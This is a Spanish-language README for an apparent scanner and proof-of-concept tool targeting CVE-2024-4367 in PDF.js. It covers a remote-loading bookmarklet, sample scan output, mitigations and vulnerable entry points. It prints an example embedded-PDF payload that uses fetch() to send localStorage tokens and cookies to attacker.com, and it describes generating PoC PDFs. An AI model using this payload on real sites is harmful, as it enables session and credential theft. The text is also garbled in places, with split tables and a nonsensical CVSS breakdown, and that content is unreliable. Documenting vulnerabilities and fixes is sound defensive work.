
ESCANEAR FIN POC EL CVE-2024-4367
⚠️ HERRAMIENTA DE SEGURIDAD CRÍTICA | Detecta CVE-2024-4367 (CVSS 9.8) - Vulnerabilidad de Ejecución Remota de Código en PDF.js
Funciona en CUALQUIER sitio web - Sin configuración requerida
CVE-2024-4367 es una vulnerabilidad crítica en PDF.js (versiones < 4.2.67) que permite la ejecución arbitraria de JavaScript mediante archivos PDF maliciosos. Este escáner detecta automáticamente instancias vulnerables de PDF.js en CUALQUIER sitio web.
PDF.js contiene una falla donde JavaScript incrustado en archivos PDF se ejecuta sin un sandboxing adecuado, permitiendo a los atacantes:
F12 para abrir las DevToolsEnterCrea un marcador con esta URL:
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Abre cualquier sitio web y ejecuta el script
<embed><object>?pdf=, ?file=, ?src=).pdf┌─────────────────────────────────────────────────────────────┐
│ FLUJO DEL PROCESO DE ESCANEO │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 CARGAR SCRIPTS │
│ ├─ Scripts externos (todos <script src="">) │
│ └─ Scripts en línea (todas las etiquetas <script>) │
│ │
│ 2. 🔍 EXTRAER VERSIÓN DE PDF.JS │
│ ├─ Coincidencia de patrones en el código │
│ ├─ Detección de Package.json │
│ └─ Análisis de rutas de Node_modules │
│ │
│ 3. 🎯 IDENTIFICAR VULNERABILIDAD │
│ ├─ ¿versión < 4.2.67? → VULNERABLE │
│ └─ ¿versión = 2.16.105? → VULNERABLE │
│ │
│ 4. 🖼️ LOCALIZAR VISORES │
│ ├─ Escaneo de elementos DOM │
│ └─ Detección de atributos │
│ │
│ 5. ⚡ GENERAR POC │
│ ├─ Crear PDF de prueba │
│ └─ Proporcionar enlace de descarga │
│ │
│ 6. 📊 MOSTRAR RESULTADOS │
│ ├─ Superposición visual │
│ ├─ Informe en consola │
│ └─ Almacenamiento en variable global │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - ESCÁNER UNIVERSAL PDF.js ║
║ Detecta versiones vulnerables de PDF.js y posible explotación ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 FASE 1: Escaneando Paquetes JavaScript en busca de PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Se encontraron 42 scripts externos
[+] Se encontraron 12 scripts en línea
[1/42] Analizando: vendor.bundle.js
→ Indicador de PDF.js encontrado: pdfjs-dist
✅ Versión de PDF.js encontrada: 2.16.105
🚨 ¡VULNERABLE a CVE-2024-4367!
🎯 FASE 4: Identificando Vectores de Explotación
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ El parámetro URL acepta PDF: file=/documents/report.pdf
⚠️ Formulario de carga PDF encontrado
█████████████████████████████████████████████████████████████████████████████████
INFORME FINAL DEL ESCANEO
█████████████████████████████████████████████████████████████████████████████████
🚨 ¡VULNERABILIDAD CRÍTICA CONFIRMADA!
CVE: CVE-2024-4367
CVSS: 9.8 (CRÍTICO)
Impacto: Ejecución Arbitraria de JavaScript
┌─────────────────────────────────────────────────────────────┐
│ RESULTADOS DEL ESCANEO CVE-2024-4367 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 Objetivo: example.com │
│ 📦 PDF.js: 2.16.105 │
│ 🎯 Vulnerable: SÍ │
│ 📄 Visores: 3 │
│ ⚡ Vectores: 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 CRÍTICO - Se Requiere Actualización │
└─────────────────────────────────────────────────────────────┘
# Para proyectos Node.js
npm install pdfjs-dist@latest
# Para uso con CDN
# Actualizar a la versión 4.2.67 o superior
// Establecer esto antes de cargar PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// Validar archivos PDF antes de renderizar
function validatePDF(file) {
// Verificar bytes mágicos
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('Archivo PDF inválido');
}
// Escanear en busca de JavaScript
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('El PDF contiene JavaScript');
}
}
Parámetros de URL
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
Carga de Archivos
<input type="file" accept=".pdf">
Visores Incrustados
<embed src="malicious.pdf">
Puntos Finales de API
/api/documents/123/download
/api/report/pdf
// JavaScript incrustado en PDF
this.alert('¡CVE-2024-4367 Explotado!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
Instalar el escáner
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
Ejecutar el escáner
# Abrir el sitio web objetivo
# Pegar el escáner en la consola
# O usar el marcador (bookmarklet)
Analizar resultados
Descargar PDF de POC (si es vulnerable)
Aplicar correcciones
| Escenario | Resultado |
|---|---|
| PDF.js 2.16.105 | 🔴 CRÍTICO |
| PDF.js 3.x | 🔴 VULNERABLE |
| PDF.js 4.0.x | 🔴 VULNERABLE |
| PDF.js 4.2.67+ |
// Versiones vulnerables
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: 'CRITICAL' },
{ version: '3.x.x', status: 'CRITICAL' },
{ version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];
// Versión segura
const SAFE_VERSION = '4.2.67';
| Fecha | Evento |
|---|---|
| 2024-04-23 | Vulnerabilidad descubierta |
| 2024-04-24 | CVE-2024-4367 asignado |
| 2024-04-25 |
IMPORTANTE: Esta herramienta está destinada únicamente para pruebas de seguridad autorizadas y fines educativos.
- ✅ HÁGALO usar en sus propios sitios web
- ✅ HÁGALO usar con permiso explícito
- ✅ HÁGALO usar para investigación de seguridad
- ❌ NO usar en sistemas no autorizados
- ❌ NO usar con fines maliciosos
Los autores no son responsables por cualquier uso indebido o daño causado por esta herramienta.
¡Las contribuciones son bienvenidas! Por favor:
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Haz tus cambios
# Prueba en múltiples sitios web
# Envía el PR
Este proyecto está bajo la Licencia MIT - consulta el archivo LICENSE para más detalles.
Si encuentras útil esta herramienta:
🛡️ Mantente Seguro. Prueba Temprano. Prueba a Menudo.
Hecho con ❤️ por la comunidad de seguridad
| Solución | Dificultad | Efectividad |
|---|
| Actualizar PDF.js | Fácil | ✅ Corrección completa |
| Deshabilitar JS en PDF.js | Fácil | ✅ Corrección completa |
| Implementar CSP | Media | ✅ Buena |
| Validación del lado del servidor | Media | ✅ Buena |
| Renderizado en sandbox | Difícil | ✅ Excelente |
| ✅ SEGURO |
| Sin PDF.js | ℹ️ SEGURO |
| Parche publicado (4.2.67) |
| 2024-04-26 | Divulgación pública |
| 2024-05-01 | Intentos de explotación observados |
| Componente | Puntuación |
|---|
| Vector de Ataque | Red (9.8) |
| Complejidad de Ataque | Baja (9.8) |
| Privilegios Requeridos | Ninguno (9.8) |
| Interacción del Usuario | Requerida (8.8) |
| Alcance | Cambiado (9.1) |
| Confidencialidad | Alta (9.8) |
| Integridad | Alta (9.8) |
| Disponibilidad | Alta (9.8) |
| General | 9.8 (CRÍTICO) |